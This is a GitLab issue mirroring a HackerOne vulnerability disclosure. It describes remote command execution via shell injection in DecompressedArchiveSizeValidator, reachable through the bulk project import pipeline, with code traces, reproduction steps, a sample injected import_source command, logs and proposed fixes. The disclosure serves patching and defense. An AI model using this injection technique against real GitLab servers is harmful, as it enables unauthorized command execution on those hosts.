Skip to content

RCE via the DecompressedArchiveSizeValidator and Project BulkImports

HackerOne report #1609965 by vakzz on 2022-06-23, assigned to @nmalcolm:

Report | Attachments | How To Reproduce

TODO

Report

Summary

The DecompressedArchiveSizeValidator is used to check the size of a archive before extracting it:

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/decompressed_archive_size_validator.rb#L82

      def command  
        "gzip -dc #{[@]archive_path} | wc -c"  
      end

   def validate  
        pgrp = nil  
        valid_archive = true

        Timeout.timeout(TIMEOUT_LIMIT) do  
          stdin, stdout, stderr, wait_thr = Open3.popen3(command, pgroup: true)  
          stdin.close  

Since command is a string and passed directly to Open3.popen3 it will be interpreted as a shell command, so if archive_path contains any special characters it can be used to run arbitrary commands.

One of the places that the DecompressedArchiveSizeValidator is used is in the Gitlab::ImportExport::FileImporter,

     def size_validator  
        [@]size_validator ||= DecompressedArchiveSizeValidator.new(archive_path: [@]archive_file)  
      end  

It gets [@]archive_file from the constructor, and is used by the Gitlab::ImportExport::Importer which gets it from project.import_source.

Under normal circumstances import_source is nil and is generated by the FileImporter using [@]archive_file = File.join([@]shared.archive_path, Gitlab::ImportExport.export_filename(exportable: [@]importable)).

Most of the places I've checked do not allow you to set the import_source for a project, or have the import_type set to something other than gitlab_project or gitlab_custom_project_template (which is required to use the ::Gitlab::ImportExport::Importer).

There is one place though, in the BulkImports::Projects::Pipelines::ProjectPipeline. Luckily this is disabled by default as it requires the bulk_import_projects feature to be enabled. If/once this feature is enabled, it's possible to trigger the above flow.

This is possible as the two transformer on the ProjectPipeline are :BulkImports::Common::Transformers::ProhibitedAttributesTransformer and ::BulkImports::Projects::Transformers::ProjectAttributesTransformer, which first removes a list of prohibited keys:

PROHIBITED_REFERENCES = Regexp.union(  
          /\Acached_markdown_version\Z/,  
          /\Aid\Z/,  
          /_id\Z/,  
          /_ids\Z/,  
          /_html\Z/,  
          /attributes/,  
          /\Aremote_\w+_(url|urls|request_header)\Z/ # carrierwave automatically creates these attribute methods for uploads  
        ).freeze  

And then sets a few other values:

          entity = context.entity  
          visibility = data.delete('visibility')

          data['name'] = entity.destination_name  
          data['path'] = entity.destination_name.parameterize  
          data['import_type'] = PROJECT_IMPORT_TYPE  
          data['visibility_level'] = Gitlab::VisibilityLevel.string_options[visibility] if visibility.present?  
          data['namespace_id'] = Namespace.find_by_full_path(entity.destination_namespace)&.id if entity.destination_namespace.present?

          data.transform_keys!(&:to_sym)  

All of the other params are allowed and passed directly into project = ::Projects::CreateService.new(context.current_user, data).execute. The first thing the create service does its to check if it's creating from a template, and if so the CreateFromTemplateService is used instead:

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/create_service.rb#L25-27

    def execute  
     if create_from_template?  
        return ::Projects::CreateFromTemplateService.new(current_user, params).execute  
      end  
    # ...  
    end

    def create_from_template?  
      [@]params[:template_name].present? || [@]params[:template_project_id].present?  
    end  

Since we control all of the params, this path can be triggered by setting template_name to a valid template such as rails. This then uses the GitlabProjectsImportService which allows the import_type to be changed from gitlab_project_migration to gitlab_project.

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/gitlab_projects_import_service.rb#L61-76

    def prepare_import_params  
      data = {}  
      data[:override_params] = [@]override_params if [@]override_params

      if overwrite_project?  
        data[:original_path] = params[:path]  
        params[:path] += "-#{tmp_filename}"  
      end

      if template_file  
        data[:sample_data] = params.delete(:sample_data) if params.key?(:sample_data)  
        params[:import_type] = 'gitlab_project'  
      end

      params[:import_data] = { data: data } if data.present?  
    end  

The Projects::CreateService service is then called again with the updated import_type, but the rest of our params the same. This causes the import_schedule to happen as [@]project.gitlab_project_migration? is no longer true

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/create_service.rb#L276-282

    def import_schedule  
      if [@]project.errors.empty?  
        [@]project.import_state.schedule if [@]project.import? && ![@]project.bare_repository_import? && ![@]project.gitlab_project_migration?  
      else  
        fail(error: [@]project.errors.full_messages.join(', '))  
      end  
    end  

If a custom import_source was used, it will be used as the [@]archive_file for the Gitlab::ImportExport::FileImporter. After wait_for_archived_file has reached MAX_RETRIES (it continues instead of failing) then validate_decompressed_archive_size will be called and then Open3.popen3 with a controllable string.

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/file_importer.rb#L45

       wait_for_archived_file do  
          validate_decompressed_archive_size if Feature.enabled?(:validate_import_decompressed_archive_size)  
          decompress_archive  
        end

      def wait_for_archived_file  
        MAX_RETRIES.times do |retry_number|  
          break if File.exist?([@]archive_file)

          sleep(2**retry_number)  
        end

        yield  
      end  
Steps to reproduce
  1. spin up a gitlab instance
  2. ssh in and enable bulk project imports with from a rails console: sudo gitlab-rails console then ::Feature.enable(:bulk_import_projects)
  3. start watching the logs with sudo gitlab-ctl tail
  4. create an api token
  5. create a new group
  6. create a new project in that group
  7. download api_project_ql.py and change PROJECT_PATH to the full path of the project above and PROJECT_ID to its id
  8. change "import_source":"/tmp/ggg;echo lala|tee /tmp/1234;#", to be your custom command (it cannot contain > as json will convert it to \u003c)
  9. (optional) remove proxies={"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"} if you are not using burp/another proxy
  10. run it with FLASK_APP=api_project_ql.py flask run
  11. start ngrok with ngrok http 5000
  12. go to new group -> import group
  13. enter the ngrok http address and your token from above in the Import groups from another instance of GitLab section
  14. select the group created above, change the parent to No parent and choose a new group name
  15. hit import
  16. you should see requests being made, then after the project is imported and the wait_for_archived_file has timed out (takes a few minutes) you should see something like following error in the logs and the payload will execute:
command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory  
tar (child): Error is not recoverable: exiting now  
tar: Child returned status 2  
tar: Error is not recoverable: exiting now  
vagrant@gitlab:~$ cat /tmp/1234  
lala  
vagrant@gitlab:~$  
Impact

If the bulk_import_projects feature is enabled, allows an attacker to execute arbitrary commands on a gitlab server

What is the current bug behavior?
  • The DecompressedArchiveSizeValidator passes a string to popen that can contain attacker controlled data
  • The ProjectPipeline does not correctly filter the project params
What is the expected correct behavior?
  • The DecompressedArchiveSizeValidator should use Gitlab::Popen and the command should be an array of strings
  • The ProjectPipeline should use the Gitlab::ImportExport::AttributeCleaner or just have a whitelist of allowed params
Relevant logs and/or screenshots
{
    "severity": "ERROR",  
    "time": "2022-06-23T01:52:57.556Z",  
    "correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",  
    "exception.class": "Gitlab::ImportExport::Error",  
    "exception.message": "command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory\ntar (child): Error is not recoverable: exiting now\ntar: Child returned status 2\ntar: Error is not recoverable: exiting now",  
    "user.username": "vakzz",  
    "tags.program": "sidekiq",  
    "tags.locale": "en",  
    "tags.feature_category": "importers",  
    "tags.correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",  
    "extra.sidekiq": {  
        "retry": false,  
        "queue": "repository_import",  
        "version": 0,  
        "backtrace": 5,  
        "dead": false,  
        "status_expiration": 86400,  
        "memory_killer_memory_growth_kb": 50,  
        "memory_killer_max_memory_growth_kb": 300000,  
        "args": [  
            "31"  
        ],  
        "class": "RepositoryImportWorker",  
        "jid": "9d28590a58ec7db944453edc",  
        "created_at": 1655948922.4369478,  
        "correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",  
        "meta.user": "vakzz",  
        "meta.client_id": "user/2",  
        "meta.caller_id": "BulkImports::PipelineWorker",  
        "meta.remote_ip": "192.168.0.144",  
        "meta.feature_category": "importers",  
        "meta.root_caller_id": "Import::BulkImportsController#create",  
        "meta.project": "imported_13/export_project",  
        "meta.root_namespace": "imported_13",  
        "worker_data_consistency": "always",  
        "idempotency_key": "resque:gitlab:duplicate:repository_import:e64a87ccd733ff3c9b12cd20d98ea1d44a21196e9d0398c0af668ee84bf77358",  
        "size_limiter": "validated",  
        "enqueued_at": 1655948922.442958  
    },  
    "extra.importer": "Import/Export",  
    "extra.exportable_id": 31,  
    "extra.exportable_path": "imported_13/export_project",  
    "extra.import_jid": null  
}
Output of checks
Results of GitLab environment info
System information  
System:		Ubuntu 20.04  
Proxy:		no  
Current User:	git  
Using RVM:	no  
Ruby Version:	2.7.5p203  
Gem Version:	3.1.4  
Bundler Version:2.3.15  
Rake Version:	13.0.6  
Redis Version:	6.2.7  
Sidekiq Version:6.4.0  
Go Version:	unknown

GitLab information  
Version:	15.1.0-ee  
Revision:	31c24d2d864  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	12.10  
URL:		http://gitlab.wbowling.info  
HTTP Clone URL:	http://gitlab.wbowling.info/some-group/some-project.git  
SSH Clone URL:	git@gitlab.wbowling.info:some-group/some-project.git  
Elasticsearch:	no  
Geo:		no  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers:

GitLab Shell  
Version:	14.7.4  
Repository storage paths:  
- default: 	/var/opt/gitlab/git-data/repositories  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell  

Impact

If the bulk_import_projects feature is enabled, allows an attacker to execute arbitrary commands on a gitlab server.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

Edited by Nick Malcolm